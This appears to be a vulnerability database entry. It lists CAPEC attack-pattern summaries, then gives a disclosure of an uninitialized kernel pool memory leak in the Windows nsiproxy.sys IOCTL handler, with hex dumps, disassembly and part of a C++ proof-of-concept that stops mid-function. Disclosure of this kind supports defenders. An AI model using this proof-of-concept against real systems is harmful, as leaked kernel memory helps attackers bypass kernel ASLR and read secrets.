Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Subverting Environment Variable Values The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
- Footprinting An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
- Exploiting Trust in Client (aka Make the Client Invisible) An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
- Browser Fingerprinting An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
- Session Credential Falsification through Prediction This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

| description | We have discovered that the handler of the 0x120007 IOCTL in nsiproxy.sys (\\.\Nsi device) discloses portions of uninitialized pool memory to user-mode clients, likely due to output structure alignment holes. On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows: ``` --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 ................ 000000a0: 00 00 00 00 ff 00 ff ff 00 00 00 00 ff ff ff ff ................ 000000b0: 00 00 00 00 00 00 00 00 ........ --- cut --- ``` Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As can be seen, a total of 13 bytes (out of 184) scattered across the structure are disclosed to the client application. The bug manifests itself through a call to the undocumented NSI!NsiGetParameter userland function, in the same fashion that it is called in WSDApi!CWSDInterfaceTable::GetInterfaceProfiles: ``` --- cut --- .text:6EA52AFF push eax .text:6EA52B00 push ebx .text:6EA52B01 lea eax, [ebp+var_BC] .text:6EA52B07 push eax .text:6EA52B08 push 0 .text:6EA52B0A push 8 .text:6EA52B0C lea eax, [ebp+InterfaceLuid] .text:6EA52B12 push eax .text:6EA52B13 push 7 .text:6EA52B15 push offset _NPI_MS_IPV4_MODULEID .text:6EA52B1A push 1 .text:6EA52B1C call _NsiGetParameter@36 ; NsiGetParameter(x,x,x,x,x,x,x,x,x) --- cut --- ``` The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for netio.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools (0x3d or '=' in this case), and would otherwise contain leftover data that was previously stored in that memory region: ``` --- cut --- Number of Adapters: 1 Adapter Index[0]: 11 00000000: 00 00 00 00 00 01 01 00 00 00 01 01 00[3d 3d 3d].............=== 00000010: 00 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 ................ 00000020: 30 75 00 00 e8 03 00 00 c0 27 09 00 03 00 00 00 0u.......'...... 00000030: 01 00 00 00 64 19 00 00 0b 00 00 00 0b 00 00 00 ....d........... 00000040: 0b 00 00 00 0b 00 00 00 01 00 00 00 01 00 00 00 ................ 00000050: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................ 00000060: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................ 00000070: 00 00 00 00 01 00 00 00 dc 05 00 00 40 00 00 00 ............@... 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00[3d 3d 3d]08 07 00 00 .........===.... 000000a0: 01 00 00 00[3d]00[3d 3d]00 00 00 00[3d 3d 3d 3d]....=.==....==== 000000b0: 6b 0a 34 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? k.4............. --- cut --- ``` At least one local network adapter must be installed on the tested machine to observe the bug. The PoC source code is based on the code sample from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx (in order to list network interfaces) and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp (in order to resolve and call NSI!NsiGetParameter). Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. ### NsippGetParameter.cpp ``` // Based on example code from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx // and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp. #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <objbase.h> #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "Ole32.lib") #define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x)) #define FREE(x) HeapFree(GetProcessHeap(), 0, (x)) /* Note: could also use malloc() and free() */ // // Suspected prototype of NsiGetParameter, via reverse engineering. // typedef DWORD (__stdcall *NsiGetParameterProc)( DWORD Argument1, CONST UCHAR* Argument2, DWORD Argument3, PNET_LUID Argument4, DWORD Argument5, DWORD Argument6, PUCHAR Argument7, DWORD Argument8, DWORD Argument9 ); /* 0:000> db NPI_MS_IPV4_MODULEID l14 751b3364 18 00 00 00 01 00 00 00-00 4a 00 eb 1a 9b d4 11 751b3374 91 23 00 50 04 77 59 BC */ const unsigned char NPI_MS_IPV4_MODULEID[0x18] = { 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11, 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC }; VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("??
